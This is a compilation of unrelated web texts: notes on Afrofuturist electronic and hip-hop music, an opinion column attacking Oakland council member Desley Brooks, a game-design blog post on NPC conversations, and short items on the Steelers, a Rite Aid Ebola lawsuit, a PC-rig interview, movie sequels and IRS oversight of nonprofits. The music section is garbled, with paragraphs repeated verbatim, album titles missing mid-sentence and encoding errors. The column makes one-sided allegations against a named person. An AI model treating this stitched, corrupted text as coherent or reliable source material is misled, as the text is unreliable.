's progeny were destined to rule for 6,000 years before the original black peoples of the world regained dominance, a process that began in 1914. When the women are asked to contain Yakub with an incantation, they use the melody from this song. Mothership Connection and the subsequent The Clones of Dr. Funkenstein and P-Funk Earth Tour. In the thematic underpinnings to P-Funk mythology ("pure cloned funk"), Clinton in his alter ego Starchild spoke of "certified Afronauts, capable of funkitizing galaxies." Afrofuturist ideas were taken up in 1976 by George Clinton and his bands Parliament and Funkadelic with his magnum opusand the subsequentand. In the thematic underpinnings to P-Funk mythology ("pure cloned funk"), Clinton in his alter ego Starchild spoke of "certified Afronauts, capable of funkitizing galaxies." Bambaataa's live-appearance is closely related to George Clinton's: alien-like outfit with spaceships in the background. Like Sun Ra, he often wore ancient Egyptian style clothing. He is also founder of the "Looking for the Perfect Beat" was a followup to Bambaataa's highly influential song "Planet Rock".Bambaataa's live-appearance is closely related to George Clinton's: alien-like outfit with spaceships in the background. Like Sun Ra, he often wore ancient Egyptian style clothing. He is also founder of the Universal Zulu Nation , a social and spiritual movement dedicated to fight against discrimination, powered by a belief in "the funk". The Zulu Nation has undergone changes over the past decade. From the late 1980s, at the height of the Afrocentric movement in hip hop, the movement seemed to be incorporating many doctrines from the Nation of Islam, the Nation of Gods and Earths, and the Nuwaubians. In the 2000s, however, its official Web site affirmed that the Zulu Nation has left the 15 Beliefs and instead adheres to Factology versus Beliefs, a religious philosophy and doctrine in Nuwaubianism. "Electro is craze music, a soundtrack tor vidkids to live out fantasies born of a science fiction revival (courtesy of Star Wars and Close Encounters) and the video games onslaught. Nobody can play Defender or Galaxian for long without being affected by those sounds - sickening rumbles and throbs, fuzzy explosions and maddening tunes." Face Magazine, 1984 Newcleus is an electro and old school hip hop group from Brooklyn that gained popularity in the early 1980s. Newcleus contributed one true electro classic in "Jam on Revenge (The Wikki-Wikki Song)". The track was a block party favorite which featured vocals that were sped up to resemble Alvin and the Chipmunks."Electro is craze music, a soundtrack tor vidkids to live out fantasies born of a science fiction revival (courtesy of Star Wars and Close Encounters) and the video games onslaught. Nobody can play Defender or Galaxian for long without being affected by those sounds - sickening rumbles and throbs, fuzzy explosions and maddening tunes." Face Magazine, 1984 Rammellzee's graffiti and art work are based on his theory of Gothic Futurism, which describes the battle between letters and their symbolic warfare against any standardizations enforced by the rules of the alphabet; his treatise, "Iconic Panzerisms", details an anarchic plan by which to revise the role and deployment of language in society. Rammellzee is often identified as an artist of the Afrofuturism canon. Rammellzee wears a strange costume during performances. According to Mark Dery, "the artist encases himself during gallery performances in Gasholeer, a 148-pound, gadgetry-encrusted exoskeleton inspired by an android he painted on a subway train in 1981. Four years in the making, Rammellzee's exuberantly low-tech costume bristles with rocket launchers, nozzles that gush gouts of flame, and an all-important sound system." Comprised of drummer/producer Stuart Argabright, guitarist Michael Diekmann, bassist/guitarist/keyboardist Shinichi Shimokawa, DJ High Priest, and MC/grafitti writer Rammellzee on occasional vocals, DCC was drawn together intermittently for shows and recording sessions in '83 and '84. Rammellzee (born 1960 in Far Rockaway, Queens, New York), is a graffiti writer, performance artist, rap/hip-hop musician and sculptor from New York.Rammellzee's graffiti and art work are based on his theory of Gothic Futurism, which describes the battle between letters and their symbolic warfare against any standardizations enforced by the rules of the alphabet; his treatise, "Iconic Panzerisms", details an anarchic plan by which to revise the role and deployment of language in society. Rammellzee is often identified as an artist of the Afrofuturism canon.Rammellzee wears a strange costume during performances. According to Mark Dery, "the artist encases himself during gallery performances in Gasholeer, a 148-pound, gadgetry-encrusted exoskeleton inspired by an android he painted on a subway train in 1981. Four years in the making, Rammellzee's exuberantly low-tech costume bristles with rocket launchers, nozzles that gush gouts of flame, and an all-important sound system." Greg Broussard better known by his stage name Egyptian Lover is an American musician, vocalist, producer and DJ, and was an important part of the L.A. dance music and rap scene in the early 1980s. Egyptian Lover records didn't start appearing until several years after the New York and Miami electro scenes were already in full swing, and by the mid-'80s Egyptian Lover cuts like "Egypt, Egypt" were standards among club DJs, particularly in the breakdance scene. Before Ice-T, N.W.A., and Eazy-E made Los Angeles famous (or infamous) for gangsta rap in the late '80s, the city's rap community was best known for a high-tech, futuristic approach that owed a lot to Afrika Bambaataa's 1982 classic, "Planet Rock." In the early to mid-'80s, L.A.-based electro-hoppers like the Egyptian Lover, the World Class Wreckin' Cru (the group that Dr. Dre belonged to before N.W.A.), the Arabian Prince, and Uncle Jam's Army didn't get much respect from East Coast hip-hoppers, who insisted that their music wasn't gritty enough. Midnight Star was a synth-funk group from Kentucky. "Freak-a-zoids, robots: please report to the dancefloor". Future Shock. "Rockit" was perhaps the first popular single to feature scratching and other turntablist techniques, performed by GrandMixer D.ST - an influential DJ in the early years of turntablism. Herbert Jeffrey "Herbie" Hancock (born April 12, 1940) is an American jazz pianist and composer. He is regarded as one of the most influential jazz musicians of the 20th century. His music embraces elements of funk and soul while adopting freer stylistic elements from jazz. "Rockit" was released as a single from his 1983 album"Rockit" was perhaps the first popular single to feature scratching and other turntablist techniques, performed by GrandMixer D.ST - an influential DJ in the early years of turntablism. Future Shock and The Third Wave. The name "Cybotron", coined by Atkins, is a portmanteau of cyborg and cyclotron. Atkins was fond of creating such "futuristic-sounding" words - the record label names "Metroplex" and "Transmat" being other examples. Although generally considered electro, Cybotron was also part of the early evolution of techno music. Cybotron was the first musical outlet of techno co-"originator" Juan Atkins, and the group's unique combination of musical influences, boldly experimental aesthetic, and afrofuturist philosophy became the underpinnings of Detroit Techno. On the cover of Cybotron's album Enter is written: "We dedicate this album to the people of the Detroit metroplex. To survive we must technofy and save the biosphere." The Great Migration of the early 20th century shifted black American culture to metropolitan cities such as New York, Chicago and Detroit. At the time this track was recorded, the trend in migration had reversed, and Detroit was suffering from the effects of deindustrialization. The Detroit club scene was as much in transition as the city they were in. The wide-spread popularity of techno across socio-economic lines led to a mixing between West Side and elite high school youths with ghetto and gangster "jits" (abbreviation for "jitterbug"). Unfortunately, the economic problems of Detroit and the prevalent social apathy and desolation led to a proliferation of gun violence within clubs and by 1986, the techno club scenes were wrought with gun shootings, fights, and acts of violence further compounding the sociological and economic recovery of Detroit. This wave of violence, economic collapse, and socio-communal atrophy extensively affected the Detroit techno themes. Still influenced by the same Euro sounds, Juan Atkins and Rick Davis formed Cybotron producing Detroit hits like Alleys of Your Mind, Techno City, Cosmic Cars, and Clear before signing onto the Fantasy label. However, Cybotron's dominant mood of tech-noir and desolation played into describing the city's decline. For all their futuristic mise-en-scene, the vision underlying Cybotron songs was Detroit-specific- from industrial boomtown to post-Fordist wasteland, from US capital of auto manufacturing to US capital of homicide. By the end of the first successful wave of Detroit techno, the city's center had become a ghost town and the techno landscape was evolving into a more hardcore, militaristic frenzy of drug-infused rave and trance scene. Cybotron was group formed in 1980 by Juan Atkins and Richard "3070" Davis in Detroit, Michigan. The group was inspired by midwestern funk, especially the music of George Clinton, along with European synthesizer pioneers Kraftwerk, English electropop, Italo Disco, and futurist literary influences such as Alvin Toffler's booksand. The name "Cybotron", coined by Atkins, is a portmanteau of cyborg and cyclotron. Atkins was fond of creating such "futuristic-sounding" words - the record label names "Metroplex" and "Transmat" being other examples. Although generally considered electro, Cybotron was also part of the early evolution of techno music. Cybotron was the first musical outlet of techno co-"originator" Juan Atkins, and the group's unique combination of musical influences, boldly experimental aesthetic, and afrofuturist philosophy became the underpinnings of Detroit Techno.On the cover of Cybotron's albumis written: "We dedicate this album to the people of the Detroit metroplex. To survive we must technofy and save the biosphere." The Great Migration of the early 20th century shifted black American culture to metropolitan cities such as New York, Chicago and Detroit. At the time this track was recorded, the trend in migration had reversed, and Detroit was suffering from the effects of deindustrialization.The Detroit club scene was as much in transition as the city they were in. The wide-spread popularity of techno across socio-economic lines led to a mixing between West Side and elite high school youths with ghetto and gangster "jits" (abbreviation for "jitterbug"). Unfortunately, the economic problems of Detroit and the prevalent social apathy and desolation led to a proliferation of gun violence within clubs and by 1986, the techno club scenes were wrought with gun shootings, fights, and acts of violence further compounding the sociological and economic recovery of Detroit.This wave of violence, economic collapse, and socio-communal atrophy extensively affected the Detroit techno themes. Still influenced by the same Euro sounds, Juan Atkins and Rick Davis formed Cybotron producing Detroit hits like Alleys of Your Mind, Techno City, Cosmic Cars, and Clear before signing onto the Fantasy label. However, Cybotron's dominant mood of tech-noir and desolation played into describing the city's decline. For all their futuristic mise-en-scene, the vision underlying Cybotron songs was Detroit-specific- from industrial boomtown to post-Fordist wasteland, from US capital of auto manufacturing to US capital of homicide. By the end of the first successful wave of Detroit techno, the city's center had become a ghost town and the techno landscape was evolving into a more hardcore, militaristic frenzy of drug-infused rave and trance scene. A classic of the Detroit Warehouse. The track was a sensation in the city's underground despite never being released on vinyl. The success of the song relied entirely upon tapes being copied and circulated through the clubs. Detroit house evolved from disco but with a more electronic sound. Fingers Inc. was Larry Heard and Robert Owens, a talented gospel-styled vocalist. This Chicago House classic shows a connection between 80's house and gospel music. It is regarded as the first Deep House record and is still a popular track in the deep house scene today. The spoken word vocal are thought to reflect what is regarded as the true meaning of house music. Their name referred to a myth comparable to Plato's myth of Atlantis, which the group revealed in the sleeve notes to their 1997 album The Quest. ÒDrexciyaÓ was an underwater country populated by the unborn children of pregnant African women thrown off of slave ships that had adapted to breathe underwater in their mother's wombs. Member James Stinson claimed to have come up with idea in a dream. Although both members of Drexciya remained completely anonymous throughout their active recording career, James Stinson was identified posthumously in 2002 after dying aged 32 of heart complications. The other member of the duo was Gerald Donald. The members of Drexciya did not allow themselves to be photographed, although they gave interviews, throughout one of which they wore Star Trek masks to conceal their identity. Gerald Donald went on to produce music under many names including Arpanet, Glass Domain, Heinrich Mueller, Intellitronic, Japanese Telecom, Abstract Thought, Der Zyklus, Dopplereffekt, Elecktroids, Ectomorph, Flexitone, Black Replica, Zwischenwelt and L.A.M. (Life After Mutation). Drexciya was a later techno group from Detroit. Drexciya combined a faceless, underground, anti-mainstream media stance with mythological, sci-fi narratives, to help heighten the dramatic effect of their music. In this respect they were similar to artists within and close to the Detroit collective Underground Resistance.Their name referred to a myth comparable to Plato's myth of Atlantis, which the group revealed in the sleeve notes to their 1997 album The Quest. ÒDrexciyaÓ was an underwater country populated by the unborn children of pregnant African women thrown off of slave ships that had adapted to breathe underwater in their mother's wombs. Member James Stinson claimed to have come up with idea in a dream.Although both members of Drexciya remained completely anonymous throughout their active recording career, James Stinson was identified posthumously in 2002 after dying aged 32 of heart complications. The other member of the duo was Gerald Donald. The members of Drexciya did not allow themselves to be photographed, although they gave interviews, throughout one of which they wore Star Trek masks to conceal their identity.Gerald Donald went on to produce music under many names including Arpanet, Glass Domain, Heinrich Mueller, Intellitronic, Japanese Telecom, Abstract Thought, Der Zyklus, Dopplereffekt, Elecktroids, Ectomorph, Flexitone, Black Replica, Zwischenwelt and L.A.M. (Life After Mutation). Bombing. He moved to the US and started selling grills (gold teeth) in New York and Miami, a business which he continued after his return to England in 1988, and turned into his trademark. Goldie pushed the genre of drum n bass by fusing it with soul vocals by Diane Charlemagne. Goldie is Clifford Joseph Price. Price was a member of a breakdance crew Westside, based in the Whitmore Reans and Heath Town areas of Wolverhampton, in the 1980s. He later joined a breakdance crew called the B-boys, and made his name as a graffiti artist in the West Midlands. His artwork around Birmingham and Wolverhampton was featured heavily in Afrikaa Bambaataa's documentary. He moved to the US and started selling grills (gold teeth) in New York and Miami, a business which he continued after his return to England in 1988, and turned into his trademark. Goldie pushed the genre of drum n bass by fusing it with soul vocals by Diane Charlemagne. Pre-Millennium Tension. Again we see the theme of language: "It means we'll manage, I'll master your language, and in the meantime, I create my own." Tricky was born Adrian Thaws, from Bristol, England. An example from the trip hop genre, this was the opening track from his sophmore album. Again we see the theme of language: "It means we'll manage, I'll master your language, and in the meantime, I create my own." Straight Up Detroit Shit mix series which helped define the hyrbid ghetto tech sound emerging from Detroit. It combines elements of Chicago's ghetto house with electro, hip hop, techno, and grafts the perceived raunch of miami bass as the vocal stamp of the music. It is usually faster than most other dance music genres, at roughly 145 to 170 bpm, and usually features sexually explicit lyrics. This faster sound was achieved by modifying turntables to play records at faster speeds. A Detroit ghetto tech style of dancing is called the jit. It is an improvisational dance that mainly centers around the fast movement of the feet but also arms and body movement dating back to the early 1950s jitterbug also known as the black bottom stomp. Craig Adams AKA Craig Diamonds released a number of influential 12"s and Mix CDs as DJ Assault on his Assault Rifle and Electrofunk labels in the 90's. Amongst these were themix series which helped define the hyrbid ghetto tech sound emerging from Detroit.It combines elements of Chicago's ghetto house with electro, hip hop, techno, and grafts the perceived raunch of miami bass as the vocal stamp of the music. It is usually faster than most other dance music genres, at roughly 145 to 170 bpm, and usually features sexually explicit lyrics. This faster sound was achieved by modifying turntables to play records at faster speeds.A Detroit ghetto tech style of dancing is called the jit. It is an improvisational dance that mainly centers around the fast movement of the feet but also arms and body movement dating back to the early 1950s jitterbug also known as the black bottom stomp. Funkstörung (German for "transmission interference") are a duo of electronic musicians hailing from Rosenheim, Germany known for rhythmically complex but melody driven music. They are particularly famous for their remix work. Some claim glitch-hop was born when Funkstörung cannibalised New York hip-hop on this remix of the Wu-Tang Clan's "Reunited". Travis Stewart's hip-hop inspired work is done under the alias of Machine Drum. On this track the rap lyrics are manipulated to become unintelligible, becoming just a rhythmic element of the song. This main audio sample from this track is taken from the 1972 Sun Ra film Space is the Place. From Ras G's website : "Ras G guides a deep space exploration of music's ancient history and rich future. Working thru obsolete tools to reach back in time and pluck out the essence of groove, Ras G's music is rich with space-funktified rhythms, fog horns, natty chattin, subterranean bass lines, colossal percussion and glorious highs. Ras G has been a fixture on the underground hiphop scene in Los Angeles since the early 90s. He is a proud South Central LA resident. This is the music that people will be playing in the ghettos of Mars in the year 3014."This main audio sample from this track is taken from the 1972 Sun Ra film Darrell Fitton is an electronic musician from Manchester, England. Most of his work is recorded under recording monikers Bola and Jello. As in the electro genre, this track features distorted, vocoderized vocals. Shadow Huntaz are a 5 piece experimental hip hop group notable for their use of online file sharing to distribute their work. They were originally formed by a trio of MC's, Breaff (a/k/a Shadow 1), Dream (a/k/a/ Shadow 2) and Non (a/k/a Shadow 3 or Nongenetic), all of whom are based in different cities in the US, Chicago, Atlanta and Los Angeles respectively. They are joined by brothers Don and Roel Funcken from The Netherlands who perform under the name Funckarma. The brothers had originally approached them to do some remixes but this evolved into a full collaboration, undertaken through file sharing over the internet. Another track by Darrell Fitton, a sort of futuristic take on soul. Dabrye is an alias of Ann Arbor, Michigan-based musician Tadd Mullinix. Besides Jay Dee & Phat Kat, he has worked with other underground hip hop artists such as MF DOOM, Beans, Vast Aire, and Big Tone. Lost Children of Babylon is a Nuwaubian hip hop group from Philadelphia. Nuwaubian hip hop groups call their style Nu-wop. They debuted with a conscious style, with lyrics filled with Nuwaubian teachings of Dr. Malachi Z. York and different theories of the creation and destination of the human soul. Together, they made an album rife with quotes from The Matrix and rhymes about ancient Egypt, outer space and chromosomes, all laid over futuristic/sci-fi beats that seem transplanted from other worlds. Flying Lotus, (born Steven Ellison) is an experimental music producer, disc jockey, and laptop musician from Winnetka, California. His great-aunt is the late Alice Coltrane. Mark Pritchard is an electronic musician. He was half of the duo Global Communication. His work as Harmonic 313 explores Detroit-style hip-hop and dub-step. Burial is an English dubstep producer. Spaceape MCs in a dread poet style. Dubstep evolved from the UK grime and 2-step garage. "Sensory language leaves us with no habit for lying, we are hostile aliens immune from dying". -Oakland City Council member Desley Brooks is a runaway train that needs to be derailed before she does irreparable harm. Her most recent collision — with 72-year-old former Black Panther Party leader Elaine Brown, who says Brooks assaulted her at a downtown restaurant on Oct. 30 — is only the latest misstep in a political career defined by controversy, confrontation and rage. The alleged target of Brooks’ ire is an elderly woman who runs a county jobs program and who, because of her radical past, holds celebrity status in Oakland. But anybody could run afoul of Brooks, whose public demeanor can be described in two ways: angry and angrier. In a civil complaint filed with the Oakland city attorney’s office last week in which she is asking for at least $10,000 from the city, Brown says that Brooks, 54, assaulted her at a gathering to discuss affordable housing issues. A heavily redacted police report says that “hands, feet, teeth, etc.” may have been used in the alleged assault, which it calls a misdemeanor. Neither Brooks nor Brown has responded to interview requests. If Brooks’ history on the council provides any insight into how this matter will be resolved, I wouldn’t count her out yet. In a sad commentary on the lack of will among Brooks’ colleagues and on the poor ethical standards of Oakland city government, Brooks has managed to dodge every bullet aimed at her during her 13 years in office. She has even turned the council chambers into her own three-ring circus. In 2007, a month after the City Council approved the $800,000 purchase of a building in the 5800 block of International Boulevard that it wanted as a teen center, Brooks sent an e-mail to staff asking, “When can I have the keys?” according to a 2013 grand jury report on the project. “From that moment forward, it was very clear that the council member exerted control over nearly every element of the project, making demands of staff from multiple city departments at all levels,” the report said. According to the grand jury, Brooks ignored a council decision to delay renovating the building and entered into construction contracts with builders on her own in 2010. She also blew off numerous requests by the grand jury to testify. When her council colleagues attempted to censure her in 2013 for her misdeeds, Brooks packed the room with supporters. Before the night was over, she had persuaded her witless council colleagues to vote to censure themselves. Brooks goes through council aides the way Wimpy goes through hamburgers. And when her staff has abandoned her, she has used taxpayer money meant for their salaries to support her favorite political groups and nonprofits — including the group that lobbied former Rep. Ron Dellums to run for mayor in 2006, according to city documents cited in The Chronicle in 2006. Brooks has run roughshod over and thumbed her nose at every institution that has ever attempted to rein her in, starting with city administrators, the City Auditor’s Office and the Alameda County grand jury. She also brought a $1 million libel lawsuit against The Chronicle and me in 2008. A court dismissed her claim a year later, a decision upheld on appeal. Along the way, she’s managed to polarize most of her colleagues on the City Council — or simply intimidate them into silence. Councilwoman Lynette Gibson McElhaney is a polite, cultured person. Yet during a recent council meeting, Brooks called her a “hanky-head.” What do you know? A racial insult from the city’s Queen of Racial Equality. Brooks has been a supporter of minority contracts, Occupy Oakland and the Black Lives Matter movement. Brooks’ actions, antics and antisocial behavior have long been a public embarrassment to Oakland — and she’s now become a public liability. I don’t know if Brown has a legitimate legal claim to city resources as a result of Brooks’ actions, but make no mistake: The city — and the voters — are ultimately responsible for this abuse of government representation. Brooks is a monster created by the city’s lack of administrative controls; poor ethical standards; and downright absurd, race-based political environment that lets her survive. Given her history and the city’s unwillingness — or inability — to hold her accountable, it’s going to take a lot more than a misdemeanor assault charge — or a conviction — to slow that train down. It’s time for the taxpayer-funded Oakland Public Ethics Commission and the city attorney to speak up. At the very least, the Oakland City Council should give censure another try to let the public know it “gets it” and that such behavior by an elected official is unacceptable. Chip Johnson is a San Francisco Chronicle staff writer. His column runs Tuesday and Friday. E-mail: chjohnson@sfchronicle.com Twitter: @chjohnson -Introduction Heyo guys! I'm here to talk a bit more about the Conversation System which I've spent a little while designing and I hope you will enjoy it! This system is a bit unique compared to other Conversation Systems you may have encountered so I'm going to explain a few systems before getting onto the goodies. Familiarity System One of the core systems which the conversation system heavily relies on is the Familiarity system. This system in itself is composed of different smaller systems which have their own functions. Two of these subsystems is the one that keeps track of the character's Personality and the other keeps track of Familiars. The Personality subsystem simply keeps track of the unit's likings, reputation and other various personality traits, such as being sarcastic, evil, cruel, good etc. The Familiar subsystem keeps track of when a unit is spotted, when such an event occurs a "snapshot" is taken where it saves the body properties, currently equipped gear and inserts that into a list of other snapshots. This data will allow for a very good way of exchanging information both between Player NPC as well as NPC NPC, Yes, NPCs will be essentially using this data and conversation system to exchange information about the world. Even if these snapshots save what you're currently wearing doesn't mean that the NPCs will immediately remember the information correctly, this depends on several factors. A Familiarity score is calculated from variables such as, how many times the unit has been seen before, the time since last seen, the time in between seeing the unit, the time of encounter and the lighting during encounter. These are only a few factors which are needed in order to calculate such a score, obviously talking to an NPC will increase this score of being recognized. This opens up game mechanics such as being able to commit a crime, change your outfit and possibly fool the people which saw you committing the crime. Or you could possibly stalk an NPC, understand what they were, get similar clothes and commit a crime and later pin it on that unit. As you can see with such a system it opens up a lot of cool new game mechanics which I think will be quite interesting to explore. Concept Image of Conversation UI Conversations Now this is the real meat of this post, the Conversation System. As I mentioned previously and which I hope you've noticed by the Familiarity system explanation that this conversation system is a bit different from similar systems previously. This system is a bit unique in the sense that it will be dealing with a lot of dynamic data. Anything from various generated area names, town names, towns, NPCs, familiarity data to quests and tasks. So obviously due to dealing with such a massive amount of dynamic data the conversation system itself has to be fairly dynamic. This includes being able to select more than 2-3 different response messages which most other games uses. I'd argue that you need to be able to select both the Topic of the conversation and even the Response Type, which is exactly what I started designing the system around. This will allow for having 2-3 different responses per Topic and per Response Type, which is a lot of different conversation responses and which is exactly what an RPG of this size deserves. Topics Topics will be selectable in the conversation GUI, these topics will be selected depending on relevance to the current NPC, so for example if the NPC is a good friend of yours in-game, you won't start getting suggested Topics about getting to know the NPC (Such as asking for his/her name etc.). The relevance will be calculated depending on where you currently are, reputation/standing with an NPC and even time of day etc. Topics will essentially be a guiding point for your conversation in order to properly interact with the AI in the world and retrieve relevant and necessary information. Response Type Being able to choose Topics of the Conversation is good and all, but it'll only get you so far, in order to properly interact in a good way you need to be able to respond in a specific "tone of voice". Which is why currently the design for Response types will include such types as "Hostile, Friendly, Neutral" but also thinking about types like Sarcastic, Vague in order to properly interact in the way you'd like to. Concept Image of Conversation UI By combining these two concepts I believe it will create quite a unique and interesting way of interacting with the world. It also allows for a fairly cool way of exchanging information, not only between you and the AI but even in an AI AI situation. By forcing the AI to use this system in order to exchange information you inherently add a delay before everyone in a town knows something, or perhaps you are able to silence the information before it reaches another Unit. An example of this would be if a unit sees you committing a crime, in regular games you'd be instantly guilty and guards would start chasing you, however by using this system a witness would have to see you and in some way exchange that information, either via screaming or running and telling people. But due to this inherit latency of information exchange you will be able to silence that victim and stop the spread of information. Which I find adds quite a cool game-play mechanic. Conclusion I hope you all enjoyed my explanation of the conversation system or at the very least found it interesting. Cheers! -The Steelers and defensive coordinator Dick LeBeau have agreed to part ways, according to the Pittsburgh Post-Gazette. The split was mutual, according to LeBeau. He added that it was "time to go in a different direction." LeBeau had been the team's defensive coordinator since 2004. During LeBeau's tenure, the Steelers defense finished first in yardage five times. The team finished outside the top-10 in each of the past two seasons, however. While LeBeau will leave the team, he stressed that he is not retiring. "I'm resigning this position, not retiring," LeBeau said. "I had a great run in Pittsburgh. I'm grateful for all the things that have happened to me and thankful for all the support I had in Pittsburgh." LeBeau, 77, was inducted to the Pro Football Hall of Fame in 2010 for his accomplishments as a player. He's also credited with creating the zone blitz. -Rite Aid Sued by Man Detained for Ebola Suspicions NOVEMBER 02, 2015 Meghan Ross, Associate Editor A man went into a Rite Aid seeking treatment for diarrhea. Next thing he knew, he was detained at a medical center for 7 hours while he was tested for Ebola. Ouattara Sana, 43, who is from the Ivory Coast but lives in Hackettstown, New Jersey, maintains that the Ebola tests were “invasive” and performed without his consent. Sana has since sued Rite Aid, the Warren County Health Department and Sheriff’s Office, Hackettstown First Aid & Rescue Squad, Hackettstown police, and Hackettstown Regional Medical Center, according to Patch. He is seeking damages for false imprisonment, assault, and discrimination, according to NJ.com. Sana sought help from a Rite Aid pharmacist in October 2014 for diarrhea. The pharmacist asked where he was from and if he had a fever. Sana responded that he had not been sick in the 5 months he had been living in the United States, and then he left the Rite Aid. According to Sana, Rite Aid called him back to the store under the pretenses that they found a medication for him. The pharmacy staff took his temperature several times while health officials were called in, Patch reported. He then spent 7 hours at the Hackettstown Regional Medical Center undergoing tests. The lawsuit states that Sana’s detention resulted because of discrimination based on his race and nationality. Sana accused the defendants of lacking proper training, NJ.com reported. The Rite Aid closed for about an hour after Sana left the store, Patch previously reported. SHARE THIS -Show us your rig Each week on Show Us Your Rig, we feature the PC game industry's best and brightest as they show us the systems they use to work and play. Ben Knapp, Senior Character artist on Smite over at Hi-Rez Studios, continues a trend we've been seeing with character artists featured on Show Us Your Rig. Specifically, they have an excellent reason to cover their desks in toys. Ben has figures ranging from X-Men to Assassin's Creed to Dragon Ball Z and beyond all around his desk, and a massive Cintiq touch screen in the center. He was kind enough to take some time and tell us about his PC and more. What's in your PC? Dell Precision T3600 Workstation CPU - Intel(R) Xeon(R) CPU E5-1650 @ 3.2GHz Motherboard - DELL Precision t3600 Motherboard with Intel Chipset Memory - 16GB DDR3 Drives - 2TB HDD in a Raid 1 configuration Video - NVIDIA GeForce GTX 550 Ti Power Supply - DELL 635W Case - DELL Midtower Display - WACOM Cintiq 21UX, DELL 2208WFP Mouse - DELL USB Optical Mouse Keyboard - DELL Entry keyboard What's the most interesting/unique part of your setup? Simply put, the Decor. I have a pretty cool selection statues, figures, and reference materials I have collected over the years. These resources prove to be invaluable when creating character art, giving me inspiration and reference. I spend most of my time at this desk Monday-Friday so I feel it has to be entertaining to me as well. The figures on my desk started out from just having some select action figures I grew up with. I started with some classic 80s figures and then started to branch out into different comic book figures and video game ones soon after. Eventually it has grown into what you see here. My favorite is a custom Skeletor action figure I found online; never before that had I seen a figure that actually made Skeletor into a thin mage opposed to a body builder with a skull head. What's always within arm's reach on your desk? You will always find a Wacom pen and a protein bar within arms reach. Also given the type of character I am working on, I might grab some additional reference materials and sprinkle them around my desk. What are you playing right now? Right now I am playing only a few games. My go to game is Marvel Heroes, if you look at my desk you can see why. Outside of that I am a huge fan of survival horror type games and I am really enjoying Alien Isolation and the Evil Within. What's your favorite game and why? My favorite game is Resident Evil 1, closely followed by Resident Evil 2. I know a lot of people hate the controls and cheesy acting, but I never had a problem with that. I had not played any other survival horror game before this and it made a huge impact on me. I never had experienced a mood and atmosphere like that prior to playing RE and it showed me there is more to games than just run & gun and platforming. -Movies are fantastic. They exfoliate all forms of emotions. For that short duration of time: You are transported to a whole new world. You are introduced to strangers. You get sucked into their lives. You travel along an epic journey with them. You witness them in their most powerful states. You witness them in their most vulnerable states. You feel their strengths and burdens. For that short time you forget about reality. You go on your own fictional journey. Then it ends. All those feelings are torn off like umbilical cords. Sometimes you feel satisfied. You enjoyed your experience and you received closure. However, most of the time, you are left wanting more. There are still untraveled roads to traverse through. Questions remain unanswered. Will Astronaut Taylor ever escape this ape dominating post apocalyptic world? What more monstrous actions will Michael Corleone do as the new Godfather? These questions will linger for a long time. After a while, all these emotional ties will be severed. You will move on. But then arrives that announcement you have been waiting for. The announcement of a SEQUEL. The journey continues. You have invested so much time in the previous adventure that you are fully prepared for the next one! The only problem is that you have probably joined the most half ass trip of your life, filled with garbage, along with disrespect for your fellow ‘strangers’. Lets take a look at some examples to better avoid these torturous trips. Continue reading → -Introduction “Money in politics is such a divisive and politically sensitive issue that Congress hasn’t been able to [do anything]. It has fallen to the IRS … It’s working to sweep up after the parade​.” – Alex Reid, former U.S. Treasury fellow and staffer for the Joint Committee on Taxation When federal election lawyers decided the nonprofit Crossroads Grassroots Policy Strategies likely violated political spending limits, campaign finance watchdogs were certain the Internal Revenue Service would take action. After all, lawyers for the Federal Election Commission argued that Crossroads GPS, co-founded by Republican operatives Karl Rove and Ed Gillespie, spent more on politics than anything else leading up to the 2010 election. Then the IRS tea party scandal exploded. Republicans in Congress began waylaying the IRS over what they said was the systematic and inexcusable targeting of tea party and conservative groups. And the Treasury Inspector General for Tax Administration declared that the agency had employed “inappropriate criteria” in heavily scrutinizing some groups’ tax-exemption applications. The scandal has persisted with the recent revelation over missing agency emails, which the IRS has blamed on a computer hard drive crash in 2011. The IRS’ nonprofit division, grappling with a decimated staff and limited resources, effectively lost whatever nerve it had left. Notably, it came to a near standstill on deciding whether it should grant “social welfare” nonprofit status to Crossroads GPS and other conservative groups. It likewise balked at denying or revoking nonprofit status for a growing constellation of politically driven, big-spending liberal nonprofits such as Patriot Majority USA and Priorities USA. The IRS knew that many of these groups were highly political. But “nobody wanted to say ‘no, you’re not exempt,’” said an IRS exempt organizations division staffer who asked not to be identified for fear of losing his job. “We stalled so we wouldn’t have to say no,” he added. The paralysis allowed organizations waiting for IRS approval to continue to spend freely on elections while keeping the names of their donors secret. The tea party scandal, combined with Congress systematically stripping the IRS of resources and clout over decades, has led to an exempt organizations division that has all but quit regulating politically active nonprofits in any consistent, demonstrable way, a six-month Center for Public Integrity investigation reveals. The investigation, which involved a review of thousands of pages of IRS documents and interviews with more than two dozen current and former IRS employees and administrators, finds the agency’s nonprofit regulation division has: Bled 14 percent of its staff positions during the past two decades while the number of nonprofits it regulates has grown by more than 40 percent. Scaled back inquiries, as the number of nonprofit group tax returns investigated recently fell by 10 percent, from 11,699 in 2011 to 10,575 last year. Applications for “social welfare” nonprofit status jumped 27 percent from 1,777 to 2,253 during the same time. Reduced the number of denials for exempt status for social welfare nonprofits from nearly 4 percent during the early 1980s to less than a quarter-percent in 2013. Softened, tabled or reversed course on at least a dozen proposed policy positions or enforcement plans after criticism from politicians and lobbyists. IRS Commissioner John Koskinen says the agency he’s led since December is in peril. “We don’t have enough employees anywhere,” he told the Center for Public Integrity when asked about its ability to regulate nonprofit groups. “I think the whole agency is at risk at the level of underfunding we have.” Internal Revenue Service Commissioner John Koskinen explains how his agency wants to regulate politically active nonprofits during an interview at the agency’s headquarters in Washington, D.C. Eleanor Bell/Center for Public Integrity ‘Social welfare’ explained “Social welfare” nonprofits, also known as 501(c)(4) organizations, today play a key role in many federal political elections. But they began their existence as entirely different — and unassuming — kinds of creatures. A federal law passed in 1913 created them as a “catch all” for nonprofit groups that weren’t necessarily educational or charitable but provided a public service and operated “exclusively for the promotion of social welfare.” Thank a macaroni factory run by the nonprofit New York University Law School for their evolution. Responding to business complaints about the arrangement, Congress in 1950 passed a law levying taxes on nonprofits’ “unrelated business income.” If nonprofits — 501(c)(3)s like hospitals, charities and universities and 501(c)(4)s — could run a side business, it meant they weren’t operating “exclusively” for their exempt purpose. The U.S. Department of the Treasury, the IRS’ parent agency, ultimately issued new regulations interpreting “exclusively” as “primarily.” In other words, social welfare nonprofits could engage in other kinds of activities so long as they operated primarily for the common good. By 1981, the IRS further relaxed the rules by saying social welfare nonprofits could “carry on lawful political activities” as long as their work primarily benefited society’s welfare. It wasn’t until the Supreme Court’s Citizens United v. Federal Election Commission decision in 2010, however, that politically active nonprofits — social welfare groups as well as 501(c)(5) labor unions and 501(c)(6) trade groups 